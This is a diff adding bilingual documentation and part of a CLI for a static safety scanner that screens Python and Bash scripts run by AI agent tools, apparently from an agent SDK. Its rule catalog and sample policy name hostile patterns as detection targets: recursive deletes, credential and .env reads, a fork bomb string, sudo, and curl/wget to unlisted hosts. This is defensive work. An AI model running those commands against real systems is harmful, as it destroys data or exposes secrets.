diff --git a/docs/mkdocs/en/tool_safety_guard.md b/docs/mkdocs/en/tool_safety_guard.md new file mode 100644 index 00000000..03ffd81d --- /dev/null +++ b/docs/mkdocs/en/tool_safety_guard.md @@ -0,0 +1,409 @@ +# Tool Script Safety Guard + +[中文版本](tool_safety_guard.zh_CN.md) + +Pre-execution static safety scanner for Python and Bash scripts invoked by +Tools, Skills, MCP tools, and CodeExecutors. Produces a structured +``allow`` / ``deny`` / ``needs_human_review`` decision, a redacted report, +JSONL audit events, and OpenTelemetry attributes. **Does not replace +sandbox isolation.** + +## What this is + +The guard is a **policy-driven static gate** that runs *before* code is +executed. It scans scripts, command-line arguments, working directory, +environment variables, and tool metadata, then applies a catalog of rules +to produce a three-state decision. The decision and the supporting +evidence are emitted as a redacted :class:`SafetyReport`, an audit event, +and OpenTelemetry span attributes / metrics. + +```text ++----------------+ +-------------+ +------------------+ +| Tool / Skill / | ---> | Guard | ---> | allow: proceed | +| CodeExecutor | | (sync scan) | | deny: block | +| input | | | | review: pause | ++----------------+ +------+------+ +------------------+ + | + v + +-----------+-----------+ + | Audit | Telemetry | OTel | + +-----------------------+ +``` + +The static guard is **one layer** of defense. It complements (never +replaces) container/sandbox isolation, network egress policy, OS +permissions, and runtime resource limits. + +## What this is not + +* **Not a sandbox.** Static analysis cannot see what the code will do at + runtime once it has been allowed. Production deployments must still + use unprivileged containers with read-only mounts, egress allowlists, + cgroup/ulimit bounds, and timeouts. +* **Not complete.** Obfuscation, runtime concatenation, reflection, + native extensions, downloaded payloads, symlink races, and behavior + that depends on runtime state can all bypass a static scanner. The + guard converts uncertainty into ``needs_human_review`` rather than + silently allow. +* **Not a secret.** The policy file is the source of truth; treat it as + sensitive. Anyone who can change ``rule_overrides`` or + ``allowed_commands`` can weaken the guard. + +## Responsibility matrix + +| Layer | Owns | +|---|---| +| **SafetyWrappedCallable / SafetyCheckedExecutor** | Current enforcement path: scan, await audit, then delegate only when allowed | +| **ToolScriptSafetyFilter** | Normalizes and records decisions for wrappers and a future SDK terminal hook | +| **Wrapper / Sandbox / Runtime** | Runtime isolation: CPU, memory, PID, FS, network hard limits | +| **Audit / Telemetry** | Decision evidence; required audit persistence is part of the wrapper's fail-closed gate | + +## Quick start + +```bash +python scripts/tool_safety_check.py \ + --policy trpc_agent_sdk/tools/safety/examples/tool_safety_policy.yaml \ + --language python \ + --script-file trpc_agent_sdk/tools/safety/examples/samples/03_dangerous_delete.py \ + --output tool_safety_report.json \ + --audit-file tool_safety_audit.jsonl +echo $? # 0=allow, 2=deny, 3=review, 4=input/policy error +``` + +Run the manifest to scan all 14 public samples: + +```bash +python scripts/tool_safety_check.py \ + --policy trpc_agent_sdk/tools/safety/examples/tool_safety_policy.yaml \ + --manifest trpc_agent_sdk/tools/safety/examples/samples/manifest.yaml \ + --manifest-output trpc_agent_sdk/tools/safety/examples/manifest_run.json \ + --audit-file trpc_agent_sdk/tools/safety/examples/tool_safety_audit.jsonl +``` + +## Programmatic usage + +```python +from trpc_agent_sdk.tools.safety import ( + ToolSafetyGuard, + load_safety_policy, + SafetyScanRequest, + ScriptLanguage, +) + +policy = load_safety_policy("trpc_agent_sdk/tools/safety/examples/tool_safety_policy.yaml") +guard = ToolSafetyGuard(policy) + +request = SafetyScanRequest( + tool_name="workspace_exec", + language=ScriptLanguage.BASH, + script="rm -rf /tmp/x", + cwd="/tmp", + env={"PATH": "/usr/bin"}, +) +report = guard.scan(request) +print(report.decision, report.rule_ids) +``` + +### Wrapping a callable + +```python +import subprocess +from trpc_agent_sdk.tools.safety import SafetyWrappedCallable +from trpc_agent_sdk.tools.safety import ToolSafetyGuard, load_safety_policy, ScriptLanguage + +guard = ToolSafetyGuard(load_safety_policy("policy.yaml")) +safe_run = SafetyWrappedCallable( + guard, subprocess.run, + tool_name="subprocess.run", + language=ScriptLanguage.BASH, + script_pos=0, +) +safe_run("ls -la") # raises BlockedExecutionError if policy denies +``` + +Call ``await safe_run.call_async(...)`` instead when the delegate or caller +already runs inside an event loop; this preserves the required-audit +before-delegate guarantee. +For a tool-style callable, set ``argv_kw``, ``cwd_kw``, ``env_kw``, +``metadata_kw``, and ``output_bytes_kw`` to the corresponding argument +names so the normalized request contains every available execution field. + +### Wrapping a code executor + +```python +from trpc_agent_sdk.tools.safety import SafetyCheckedExecutor +from trpc_agent_sdk.tools.safety import ToolSafetyGuard, load_safety_policy, ScriptLanguage + +guard = ToolSafetyGuard(load_safety_policy("policy.yaml")) +safe_executor = SafetyCheckedExecutor( + guard, + delegate=real_executor, + language=ScriptLanguage.PYTHON, + effective_timeout_seconds=30, +) +await safe_executor.execute_code(code_input) +``` + +## Rule catalog + +The guard applies one stable rule per risk category. Rule IDs never +change between releases so policy overrides remain stable. + +| Rule ID | Category | Default decision | What it catches | +|---|---|---|---| +| `FILE001_RECURSIVE_DELETE` | file | deny | `shutil.rmtree`, `rm -rf` | +| `FILE002_DENIED_WRITE` | file | deny | Writes to denied paths | +| `FILE003_CREDENTIAL_READ` | file | deny | Reads of `.ssh`, `id_rsa`, `.pem`, credentials | +| `FILE004_DOTENV_READ` | file | deny | Reads of `.env` files | +| `NET001_DOMAIN_NOT_ALLOWED` | network | deny | Requests/curl/wget to non-allowlisted hosts | +| `NET002_DYNAMIC_TARGET` | network | review | Computed network destination | +| `NET003_IP_LITERAL` | network | deny | IP literal when `deny_ip_literals` is enabled | +| `PROC001_PROCESS_EXEC` | process | review | Subprocess or command not on allow list | +| `PROC002_SHELL_INJECTION` | process | deny | `shell=True` with shell grammar | +| `PROC003_SHELL_OPERATOR` | process | review | `;`, `&&`, `\|`, `&`, command substitution | +| `PROC004_PRIVILEGE` | process | deny | `sudo`, `su`, `doas` | +| `DEP001_ENV_MUTATION` | dependency | deny | `pip install`, `npm install`, `apt install` | +| `RES001_UNBOUNDED_LOOP` | resource | deny | `while True` without break | +| `RES002_FORK_BOMB` | resource | deny | Classic `:(){ :\|:& };:` pattern | +| `RES003_LONG_SLEEP` | resource | deny | Sleeps exceeding policy limit | +| `RES004_CONCURRENCY` | resource | deny | Fan-out exceeding `max_parallel_tasks` or `max_processes` | +| `RES005_LARGE_WRITE` | resource | deny | Writes exceeding `max_file_write_bytes` | +| `SECRET001_LOG_SINK` | secret | deny | Tainted value into print/log | +| `SECRET002_FILE_SINK` | secret | deny | Tainted value into file write | +| `SECRET003_NETWORK_SINK` | secret | deny | Tainted value into network payload | +| `PARSE001_UNCERTAIN` | analysis | review | Syntax error or unknown construct | +| `OBF001_DYNAMIC_EXEC` | analysis | review | `eval`, `exec`, indirect Bash execution, interpreter payloads | +| `SAFE000` | safe | allow | No findings | +| `GUARD001_INTERNAL_ERROR` | analysis | deny | Internal guard failure (fail closed) | + +## Policy reference + +```yaml +version: "1" + +defaults: + unknown_construct: needs_human_review # allow | needs_human_review | deny + guard_error: deny # fail-closed default + human_review_blocks_execution: true # review blocks the wrapper + +limits: + max_timeout_seconds: 60 + max_output_bytes: 1048576 + max_script_bytes: 262144 + max_sleep_seconds: 30 + max_parallel_tasks: 16 + max_processes: 8 + max_file_write_bytes: 10485760 + +network: + allow_domains: + - api.github.com + - "*.internal.example.com" # one sub-domain level only + deny_ip_literals: true + +commands: + allow: [python, python3, pytest, git] + deny: [sudo, su, doas, chmod, chown, mount] + +paths: + deny: + - "~/.ssh" + - "/etc" + - "/root" + - ".env" + - "**/*credentials*" + +dependencies: + decision: deny + +sensitive_env_key_patterns: + - "*KEY*" + - "*TOKEN*" + - "*PASSWORD*" + - "*SECRET*" + - "*CREDENTIAL*" + +tools: + workspace_exec: + execution_capable: true + language: bash + script: command + cwd: cwd + env: env + timeout: timeout_sec + +rule_overrides: {} +# Override any rule's decision. Example: +# DEP001_ENV_MUTATION: needs_human_review + +audit: + enabled: true + required: true # fail-closed when audit write fails + path: tool_safety_audit.jsonl +``` + +## Hot-reload behavior + +The guard does not watch the YAML file. Construct a new +``ToolSafetyGuard`` (and re-register the filter / wrapper) after editing +the policy. The ``policy_hash`` in every report / audit event lets +operators correlate which policy produced which decision. + +## Telemetry + +When OpenTelemetry is active the guard sets these low-cardinality span +attributes on the current span: + +```text +trpc_agent_sdk.tools.safety.decision +trpc_agent_sdk.tools.safety.risk_level +trpc_agent_sdk.tools.safety.rule_id # comma-separated, bounded to 8 entries +trpc_agent_sdk.tools.safety.blocked +trpc_agent_sdk.tools.safety.redacted +trpc_agent_sdk.tools.safety.scan_duration_ms +trpc_agent_sdk.tools.safety.policy_hash +``` + +Metrics emitted (no-op when OTel is absent): + +```text +trpc_agent.tool_safety.scan_count{decision,risk_level,tool_name} +trpc_agent.tool_safety.block_count{decision,rule_id,tool_name} +trpc_agent.tool_safety.scan_duration_ms{decision,tool_name} +``` + +Evidence snippets, env values, script hashes, and command strings are +never emitted as span attributes or metric labels. + +## CLI exit codes + +| Code | Meaning | +|---|---| +| 0 | Final decision was ``allow`` | +| 2 | Final decision was ``deny`` | +| 3 | Final decision was ``needs_human_review`` | +| 4 | Invalid input, policy, or required-audit error | + +## Integration with the SDK + +The current SDK does not expose a terminal filter phase after +``ToolCallbackFilter``. A configured ``filters=`` instance can therefore +scan arguments that a later callback changes; it is not a secure enforcement +point. Use ``SafetyWrappedCallable`` or ``SafetyCheckedExecutor`` today: +both scan, await the audit event, and only then invoke their delegate. + +``ToolScriptSafetyFilter`` provides matching ``_before``/``_after`` hooks +and a ``terminal_before_handler`` marker for a future SDK terminal phase. +That marker is metadata only until the framework implements ordering after +all argument-mutating callbacks. The wrapper remains mandatory until then. + +## Custom rules + +Implement :class:`SafetyRule` and pass the rule list explicitly: + +```python +from trpc_agent_sdk.tools.safety import ToolSafetyGuard, SafetyScanRequest + +class MyRule: + rule_id = "CUSTOM001_MY_RULE" + + def scan(self, request, policy): + # Return an iterable of SafetyFinding. + return [] + +guard = ToolSafetyGuard( + policy, + rules=[*default_rules(), MyRule()], +) +``` + +Rules must be pure: no file I/O, network access, or process creation. + +## Known limitations and bypasses + +* **Obfuscation.** Base64-decoded payloads, hex decoding, and similar + transforms hide intent. The guard emits ``OBF001_DYNAMIC_EXEC`` when + it sees ``eval``/``exec``/``compile``/dynamic imports, but cannot + reconstruct the decoded content statically. +* **Indirect data flow.** Taint propagation is deliberately shallow: + literals, names, direct assignments, f-strings, concatenation, and + shallow container construction. Deeper flows surface as review. +* **Symlink races.** Static path matching cannot resolve symlinks. The + sandbox must enforce filesystem boundaries. +* **Native extensions.** ``ctypes.CDLL(...)``, ``cffi.dlopen(...)``, + and similar primitives are not statically inspectable. +* **Runtime downloads.** A script that downloads and executes a payload + in two stages defeats static analysis. Network egress policy and + sandboxing are mandatory. +* **Runtime limits.** The wrapper validates the declared timeout and caps + returned output, but it cannot impose CPU, memory, PID, file-size, or + network limits on an arbitrary executor. Configure those in the sandbox + or CodeExecutor runtime as well. +* **Shell grammar holes.** The bash lexer-lite is conservative: any + unbalanced quote or unsupported substitution becomes + ``PARSE001_UNCERTAIN``. + +When in doubt, the guard converts uncertainty into +``needs_human_review``. Operators must approve explicitly before +execution resumes. + +## Test plan + +```bash +python -m pytest tests/tool_safety/ -v +``` + +Coverage: + +* ``test_models``: immutability, ``repr=False`` on script/env, label + serialization. +* ``test_policy``: YAML validation, normalization, hash stability, + wildcard semantics. +* ``test_redaction``: env scrubbing, secret patterns, evidence bounding. +* ``test_python_scanner``: per-rule Python AST detection. +* ``test_bash_scanner``: per-rule Bash lexer-lite detection. +* ``test_cross_field_scanner``: cwd / argv / env / timeout correlation. +* ``test_guard``: aggregation, de-duplication, fail-closed on errors. +* ``test_audit``: JSONL sink, redaction invariants. +* ``test_tool_adapter``: built-in adapters and policy overrides. +* ``test_filter``: ``check`` / ``enforce`` semantics, audit per call. +* ``test_wrapper``: callable + executor wrapping, deny does not delegate. +* ``test_cli``: exit codes, manifest output. +* ``test_performance``: 500-line Python and Bash scripts in <1s p95. +* ``test_integration``: 14 manifest samples match expected decisions. + +## File layout + +```text +tool/ + __init__.py # public re-exports + safety/ + __init__.py + _exceptions.py + _models.py + _policy.py + _redaction.py + _facts.py + _rules.py # SafetyRule protocol + rule catalog + _python_scanner.py + _bash_scanner.py + _cross_field_scanner.py + _guard.py # ToolSafetyGuard + _audit.py # AuditSink, JsonlAuditSink, InMemoryAuditSink + _telemetry.py # OTel span attrs + metrics (no-op safe) + _tool_adapter.py # ToolInputAdapter + built-ins + _filter.py # ToolScriptSafetyFilter (terminal) + wrapper.py # SafetyWrappedCallable, SafetyCheckedExecutor +scripts/ + tool_safety_check.py # CLI +tests/tool_safety/ # safety guard tests +trpc_agent_sdk/tools/safety/examples/ + tool_safety_policy.yaml # sample policy + samples/ # 14 public samples + manifest + tool_safety_report.json # generated report + tool_safety_audit.jsonl # generated audit log + manifest_run.json # 14 full reports plus expectation checks +docs/ + tool_safety_guard.md # this document + tool_safety_guard.zh_CN.md # Chinese version +``` diff --git a/docs/mkdocs/zh/tool_safety_guard.zh_CN.md b/docs/mkdocs/zh/tool_safety_guard.zh_CN.md new file mode 100644 index 00000000..078db376 --- /dev/null +++ b/docs/mkdocs/zh/tool_safety_guard.zh_CN.md @@ -0,0 +1,362 @@ +# Tool Script Safety Guard 设计说明（中文） + +[English version](tool_safety_guard.md) + +面向 Tool、Skill、MCP Tool 与 CodeExecutor 所执行 Python/Bash 脚本的 +执行前静态安全检查器。它输出结构化的 ``allow``、``deny`` 或 +``needs_human_review`` 决策、脱敏报告、JSONL 审计事件及 OpenTelemetry +属性；**但它不能替代沙箱隔离。** + +## 机制概览 + +Guard 是一个在代码真正执行前运行的、由策略驱动的静态安全门禁。它扫描 +脚本、命令行参数、工作目录、环境变量和 tool 元数据，并按规则目录给出 +三态决策。决策及其证据会以脱敏的 ``SafetyReport``、审计事件和 OTel +span 属性/指标输出。 + +```text ++----------------+ +-------------+ +------------------+ +| Tool / Skill / | ---> | Guard | ---> | allow: 执行 | +| CodeExecutor | | (静态扫描) | | deny: 拦截 | +| 输入 | | | | review: 暂停复核 | ++----------------+ +------+------+ +------------------+ + | + v + +-----------+-----------+ + | Audit | Telemetry | OTel | + +-----------------------+ +``` + +静态检查只是纵深防御中的一层。它补充而不是取代容器/沙箱隔离、网络出口 +策略、操作系统权限和运行时资源限制。 + +## 不解决的问题 + +* **不是沙箱。** 静态分析无法预测已放行代码在运行时的全部行为。生产环境 + 仍需使用非特权容器、只读挂载、出口白名单、cgroup/ulimit 及超时限制。 +* **不是完美检测器。** 混淆、运行时拼接、反射、原生扩展、下载载荷、符号 + 链接竞争和依赖运行时状态的行为都可能绕过静态扫描。对不确定构造应返回 + ``needs_human_review``，而非静默放行。 +* **策略文件不是秘密库。** 策略文件是决策来源，应受到保护。能修改 + ``rule_overrides`` 或允许命令的人也能降低安全门槛。 + +## 职责边界 + +| 层 | 职责 | +|---|---| +| **SafetyWrappedCallable / SafetyCheckedExecutor** | 当前可用的强制接入路径：扫描、等待审计写入，仅在允许后委托执行 | +| **ToolScriptSafetyFilter** | 为 wrapper 和未来 SDK 终端钩子归一化并记录决策 | +| **Wrapper / Sandbox / Runtime** | 运行时隔离：CPU、内存、PID、文件系统和网络硬限制 | +| **Audit / Telemetry** | 决策证据；当 ``audit.required`` 为真时，审计持久化属于 wrapper 的失败关闭门禁 | + +## 快速开始 + +```bash +python scripts/tool_safety_check.py \ + --policy trpc_agent_sdk/tools/safety/examples/tool_safety_policy.yaml \ + --language python \ + --script-file trpc_agent_sdk/tools/safety/examples/samples/03_dangerous_delete.py \ + --output tool_safety_report.json \ + --audit-file tool_safety_audit.jsonl +echo $? # 0=allow, 2=deny, 3=review, 4=输入/策略/必需审计错误 +``` + +扫描全部 14 个公开样例： + +```bash +python scripts/tool_safety_check.py \ + --policy trpc_agent_sdk/tools/safety/examples/tool_safety_policy.yaml \ + --manifest trpc_agent_sdk/tools/safety/examples/samples/manifest.yaml \ + --manifest-output trpc_agent_sdk/tools/safety/examples/manifest_run.json \ + --audit-file trpc_agent_sdk/tools/safety/examples/tool_safety_audit.jsonl +``` + +## 作为库使用 + +```python +from trpc_agent_sdk.tools.safety import ( + ToolSafetyGuard, + load_safety_policy, + SafetyScanRequest, + ScriptLanguage, +) + +policy = load_safety_policy("trpc_agent_sdk/tools/safety/examples/tool_safety_policy.yaml") +guard = ToolSafetyGuard(policy) + +request = SafetyScanRequest( + tool_name="workspace_exec", + language=ScriptLanguage.BASH, + script="rm -rf /tmp/x", + cwd="/tmp", + env={"PATH": "/usr/bin"}, +) +report = guard.scan(request) +print(report.decision, report.rule_ids) +``` + +### 包装普通 callable + +```python +import subprocess +from trpc_agent_sdk.tools.safety import SafetyWrappedCallable +from trpc_agent_sdk.tools.safety import ToolSafetyGuard, load_safety_policy, ScriptLanguage + +guard = ToolSafetyGuard(load_safety_policy("policy.yaml")) +safe_run = SafetyWrappedCallable( + guard, subprocess.run, + tool_name="subprocess.run", + language=ScriptLanguage.BASH, + script_pos=0, +) +safe_run("ls -la") # 策略拒绝时抛出 BlockedExecutionError +``` + +若 delegate 或调用方已在事件循环内，应使用 +``await safe_run.call_async(...)``。它会在委托执行前等待必需的审计 I/O +完成。对于 tool 风格 callable，请将 ``argv_kw``、``cwd_kw``、``env_kw``、 +``metadata_kw`` 和 ``output_bytes_kw`` 映射到实际参数名，以便规范化请求 +包含全部可用执行字段。 + +### 包装 CodeExecutor + +```python +from trpc_agent_sdk.tools.safety import SafetyCheckedExecutor +from trpc_agent_sdk.tools.safety import ToolSafetyGuard, load_safety_policy, ScriptLanguage + +guard = ToolSafetyGuard(load_safety_policy("policy.yaml")) +safe_executor = SafetyCheckedExecutor( + guard, + delegate=real_executor, + language=ScriptLanguage.PYTHON, + effective_timeout_seconds=30, +) +await safe_executor.execute_code(code_input) +``` + +每个 ``CodeBlock.language`` 会独立决定扫描器；当 ``code_blocks`` 为空时， +wrapper 会继续扫描 ``CodeExecutionInput.code``。拒绝和按策略阻断的人工 +复核不会到达 delegate；返回的文本输出会被限制在 ``max_output_bytes`` 内。 + +## 规则目录 + +规则 ID 是稳定接口，便于策略覆盖与审计聚合。 + +| Rule ID | 类别 | 默认决策 | 检测内容 | +|---|---|---|---| +| `FILE001_RECURSIVE_DELETE` | file | deny | `shutil.rmtree`、`rm -rf` | +| `FILE002_DENIED_WRITE` | file | deny | 向禁止路径写入 | +| `FILE003_CREDENTIAL_READ` | file | deny | 读取 `.ssh`、`id_rsa`、`.pem`、凭据文件 | +| `FILE004_DOTENV_READ` | file | deny | 读取 `.env` 文件 | +| `NET001_DOMAIN_NOT_ALLOWED` | network | deny | `requests`/curl/wget 访问非白名单主机 | +| `NET002_DYNAMIC_TARGET` | network | review | 运行时计算网络目标 | +| `NET003_IP_LITERAL` | network | deny | 启用 `deny_ip_literals` 时使用 IP 字面量 | +| `PROC001_PROCESS_EXEC` | process | review | 不在允许列表中的子进程或命令 | +| `PROC002_SHELL_INJECTION` | process | deny | 含 shell 语法的 `shell=True` | +| `PROC003_SHELL_OPERATOR` | process | review | `;`、`&&`、`\|`、`&`、命令替换 | +| `PROC004_PRIVILEGE` | process | deny | `sudo`、`su`、`doas` | +| `DEP001_ENV_MUTATION` | dependency | deny | `pip install`、`npm install`、`apt install` | +| `RES001_UNBOUNDED_LOOP` | resource | deny | 无 `break` 的 `while True` | +| `RES002_FORK_BOMB` | resource | deny | 经典 `:(){ :\|:& };:` fork bomb | +| `RES003_LONG_SLEEP` | resource | deny | 超过策略上限的 sleep | +| `RES004_CONCURRENCY` | resource | deny | 超过 `max_parallel_tasks` 或 `max_processes` 的并发 | +| `RES005_LARGE_WRITE` | resource | deny | 超过 `max_file_write_bytes` 的写入 | +| `SECRET001_LOG_SINK` | secret | deny | 污点值流入 print/log | +| `SECRET002_FILE_SINK` | secret | deny | 污点值流入文件写入 | +| `SECRET003_NETWORK_SINK` | secret | deny | 污点值流入网络请求载荷 | +| `PARSE001_UNCERTAIN` | analysis | review | 语法错误或无法可靠分析的构造 | +| `OBF001_DYNAMIC_EXEC` | analysis | review | `eval`、`exec`、间接 Bash 执行、解释器载荷 | +| `SAFE000` | safe | allow | 无规则命中 | +| `GUARD001_INTERNAL_ERROR` | analysis | deny | Guard 内部错误（失败关闭） | + +## 策略配置 + +```yaml +version: "1" + +defaults: + unknown_construct: needs_human_review # allow | needs_human_review | deny + guard_error: deny # 默认失败关闭 + human_review_blocks_execution: true # review 是否阻断 wrapper + +limits: + max_timeout_seconds: 60 + max_output_bytes: 1048576 + max_script_bytes: 262144 + max_sleep_seconds: 30 + max_parallel_tasks: 16 + max_processes: 8 + max_file_write_bytes: 10485760 + +network: + allow_domains: + - api.github.com + - "*.internal.example.com" # 仅匹配一层子域名 + deny_ip_literals: true + +commands: + allow: [python, python3, pytest, git] + deny: [sudo, su, doas, chmod, chown, mount] + +paths: + deny: + - "~/.ssh" + - "/etc" + - "/root" + - ".env" + - "**/*credentials*" + +dependencies: + decision: deny + +sensitive_env_key_patterns: + - "*KEY*" + - "*TOKEN*" + - "*PASSWORD*" + - "*SECRET*" + - "*CREDENTIAL*" + +tools: + workspace_exec: + execution_capable: true + language: bash + script: command + cwd: cwd + env: env + timeout: timeout_sec + +rule_overrides: {} +# 覆盖任一规则决策。例如： +# DEP001_ENV_MUTATION: needs_human_review + +audit: + enabled: true + required: true # 审计写入失败时失败关闭 + path: tool_safety_audit.jsonl +``` + +修改 YAML 后无需改代码即可调整域名白名单、命令允许/拒绝列表、禁止路径和 +资源阈值。Guard 不会监听文件变化；修改后应新建 ``ToolSafetyGuard``，并重新 +注册 wrapper/filter。每份报告和审计事件中的 ``policy_hash`` 可用于关联实际 +生效的策略版本。 + +## 审计与 Telemetry + +审计事件至少包含 tool name、decision、risk level、rule ID、扫描耗时、 +是否发生脱敏和是否拦截执行。事件不包含原始脚本、环境变量或参数；仅记录 +脚本 SHA-256 用于关联。 + +启用 OpenTelemetry 后，Guard 在当前 span 上写入低基数属性： + +```text +trpc_agent_sdk.tools.safety.decision +trpc_agent_sdk.tools.safety.risk_level +trpc_agent_sdk.tools.safety.rule_id # 逗号分隔，最多 8 项 +trpc_agent_sdk.tools.safety.blocked +trpc_agent_sdk.tools.safety.redacted +trpc_agent_sdk.tools.safety.scan_duration_ms +trpc_agent_sdk.tools.safety.policy_hash +``` + +OTel 不存在时指标会安全地 no-op。可用指标： + +```text +trpc_agent.tool_safety.scan_count{decision,risk_level,tool_name} +trpc_agent.tool_safety.block_count{decision,rule_id,tool_name} +trpc_agent.tool_safety.scan_duration_ms{decision,tool_name} +``` + +证据片段、环境变量、脚本哈希和命令文本均不会作为 span 属性或 metric label +上报。 + +## CLI 退出码 + +| 退出码 | 含义 | +|---|---| +| 0 | 最终决策为 ``allow`` | +| 2 | 最终决策为 ``deny`` | +| 3 | 最终决策为 ``needs_human_review`` | +| 4 | 输入、策略或必需审计错误 | + +## 与 SDK 的接入关系 + +当前 SDK 尚未提供位于 ``ToolCallbackFilter`` 之后的终端 Filter 阶段。若把 +普通 ``filters=`` 中的检查器作为强制点，后续 callback 仍可能修改参数，造成 +TOCTOU 绕过。因此目前必须使用 ``SafetyWrappedCallable`` 或 +``SafetyCheckedExecutor``：二者都会先扫描、等待审计事件完成，再调用 delegate。 + +``ToolScriptSafetyFilter`` 提供了与未来 SDK 终端阶段对应的 +``_before``/``_after`` 钩子及 ``terminal_before_handler`` 标记。该标记在 SDK +真正实现“所有可改参 callback 之后”的排序前仅是元数据，不能视为当前的安全 +强制点。 + +## 扩展自定义规则 + +实现 ``SafetyRule`` 并显式传入规则列表： + +```python +from trpc_agent_sdk.tools.safety import ToolSafetyGuard, SafetyScanRequest + +class MyRule: + rule_id = "CUSTOM001_MY_RULE" + + def scan(self, request, policy): + # Return an iterable of SafetyFinding. + return [] + +guard = ToolSafetyGuard( + policy, + rules=[*default_rules(), MyRule()], +) +``` + +规则必须是纯函数：不得执行文件 I/O、网络访问或创建进程。 + +## 已知限制与绕过风险 + +* **混淆。** Base64/十六进制解码等会隐藏意图。Guard 能识别 + ``eval``、``exec``、``compile`` 和动态导入，但不会尝试静态还原全部载荷。 +* **间接数据流。** 污点传播有意保持浅层：字面量、名称、直接赋值、f-string、 + 拼接和浅层容器。更深的数据流应进入人工复核。 +* **符号链接竞争。** 静态路径匹配不能解析符号链接；文件系统边界必须由沙箱 + 强制执行。 +* **原生扩展。** ``ctypes.CDLL(...)``、``cffi.dlopen(...)`` 等原语无法可靠 + 静态分析。 +* **运行时下载。** 分两阶段下载并执行载荷可绕过静态检查；网络出口策略和 + 沙箱不可省略。 +* **运行时资源。** wrapper 会校验声明的 timeout 并限制返回输出，但无法为任意 + executor 强制 CPU、内存、PID、文件大小或网络上限。必须在沙箱或 + CodeExecutor 运行时同时配置这些限制。 +* **Shell 语法缺口。** Bash lexer-lite 是保守实现；不平衡引号或不支持的替换 + 形式会变成 ``PARSE001_UNCERTAIN``。 + +当无法确定时，Guard 应输出 ``needs_human_review``，由人工明确批准后再继续。 + +## 测试 + +```bash +python -m pytest tests/tool_safety/ -v +``` + +测试覆盖模型与策略校验、脱敏、Python AST 扫描、Bash lexer-lite、跨字段检查、 +审计、Filter/wrapper、CLI、500 行脚本性能预算，以及 14 个样例与预期决策的 +集成验证。 + +## 文件布局 + +```text +trpc_agent_sdk/tools/safety/ # Guard、策略、规则、扫描器、审计和 Telemetry + wrapper.py # SafetyWrappedCallable、SafetyCheckedExecutor + examples/ + tool_safety_policy.yaml # 示例策略 + samples/ # 14 个公开样例及 manifest + tool_safety_report.json # 单次扫描完整报告 + tool_safety_audit.jsonl # JSONL 审计日志 + manifest_run.json # 14 份完整报告及预期结果核对 +scripts/ + tool_safety_check.py # CLI +tests/tool_safety/ # 安全检查器测试 +docs/ + tool_safety_guard.md # English version + tool_safety_guard.zh_CN.md # 本文 +``` diff --git a/scripts/tool_safety_check.py b/scripts/tool_safety_check.py new file mode 100644 index 00000000..8cd91285 --- /dev/null +++ b/scripts/tool_safety_check.py @@ -0,0 +1,350 @@ +"""Tool Script Safety Guard CLI. + +Usage:: + + python scripts/tool_safety_check.py \\ + --policy trpc_agent_sdk/tools/safety/examples/tool_safety_policy.yaml \\ + --language python \\ + --script-file path/to/script.py \\ + --tool-name demo + +Exit codes follow the plan: +* ``0`` -- decision was ``allow``. +* ``2`` -- decision was ``deny``. +* ``3`` -- decision was ``needs_human_review``. +* ``4`` -- input/policy/CLI error. + +Use ``--manifest `` to scan a batch of samples declared in +YAML. ``--request-json`` accepts a complete JSON request document. +""" + +from __future__ import annotations + +import argparse +import asyncio +import json +import os +import sys +from pathlib import Path +from typing import Any, Mapping, Sequence + +import yaml + +# Ensure the repo root is on sys.path so ``import trpc_agent_sdk.tools.safety`` works +# when the CLI is invoked directly via ``python scripts/...``. +_REPO_ROOT = Path(__file__).resolve().parents[1] +if str(_REPO_ROOT) not in sys.path: + sys.path.insert(0, str(_REPO_ROOT)) + +from trpc_agent_sdk.tools.safety._audit import InMemoryAuditSink, JsonlAuditSink # noqa: E402 +from trpc_agent_sdk.tools.safety._exceptions import SafetyAuditError # noqa: E402 +from trpc_agent_sdk.tools.safety._guard import ToolSafetyGuard # noqa: E402 +from trpc_agent_sdk.tools.safety._models import ( # noqa: E402 + SafetyDecision, + SafetyReport, + SafetyScanRequest, + ScriptLanguage, + ToolKind, +) +from trpc_agent_sdk.tools.safety._policy import load_safety_policy # noqa: E402 +from trpc_agent_sdk.tools.safety._telemetry import build_audit_event # noqa: E402 + + +def main(argv: Sequence[str] | None = None) -> int: + parser = _build_parser() + args = parser.parse_args(argv) + try: + policy = load_safety_policy(args.policy) + except Exception as exc: + print(f"policy error: {exc}", file=sys.stderr) + return 4 + guard = ToolSafetyGuard(policy) + audit_sink = _resolve_audit_sink(args, policy) + try: + if args.manifest: + return _run_manifest(guard, audit_sink, args) + if args.request_json: + return _run_request_json(guard, audit_sink, args) + return _run_single(guard, audit_sink, args) + except SafetyAuditError as exc: + print(f"audit error: {exc}", file=sys.stderr) + return 4 + + +def _build_parser() -> argparse.ArgumentParser: + parser = argparse.ArgumentParser( + prog="tool_safety_check", + description="Pre-execution static safety scanner for Python and Bash scripts.", + ) + parser.add_argument("--policy", required=True, + help="Path to tool_safety_policy.yaml") + parser.add_argument("--tool-name", default="cli", + help="Tool name to record in audit events") + parser.add_argument("--tool-kind", default="unknown", + choices=[k.value for k in ToolKind], + help="Tool kind for metadata") + parser.add_argument("--output", + help="Write JSON report to this path") + parser.add_argument("--audit-file", + help="Append audit JSONL to this path") + parser.add_argument("--manifest", + help="YAML manifest declaring multiple samples") + parser.add_argument("--manifest-output", + help="Write manifest reports as a JSON array here") + parser.add_argument("--request-json", + help="Inline JSON request document") + # Single-file inputs + parser.add_argument("--language", + choices=[l.value for l in ScriptLanguage], + help="Script language") + parser.add_argument("--script-file", + help="Path to a script file") + parser.add_argument("--script", + help="Inline script text") + parser.add_argument("--cwd", help="Working directory value") + parser.add_argument("--argv", nargs="*", default=[], + help="argv tokens") + parser.add_argument("--env", nargs="*", default=[], + help="KEY=VALUE environment entries") + parser.add_argument("--timeout", type=float, + help="Requested timeout seconds") + return parser + + +def _run_single(guard: ToolSafetyGuard, + audit_sink: Any, + args: argparse.Namespace) -> int: + try: + request = _build_request(args) + except Exception as exc: + print(f"input error: {exc}", file=sys.stderr) + return 4 + return _emit(guard, audit_sink, args, request) + + +def _run_request_json(guard: ToolSafetyGuard, + audit_sink: Any, + args: argparse.Namespace) -> int: + try: + data = json.loads(args.request_json) + request = SafetyScanRequest.model_validate(data) + except Exception as exc: + print(f"request-json error: {exc}", file=sys.stderr) + return 4 + return _emit(guard, audit_sink, args, request) + + +def _run_manifest(guard: ToolSafetyGuard, + audit_sink: Any, + args: argparse.Namespace) -> int: + try: + with open(args.manifest, 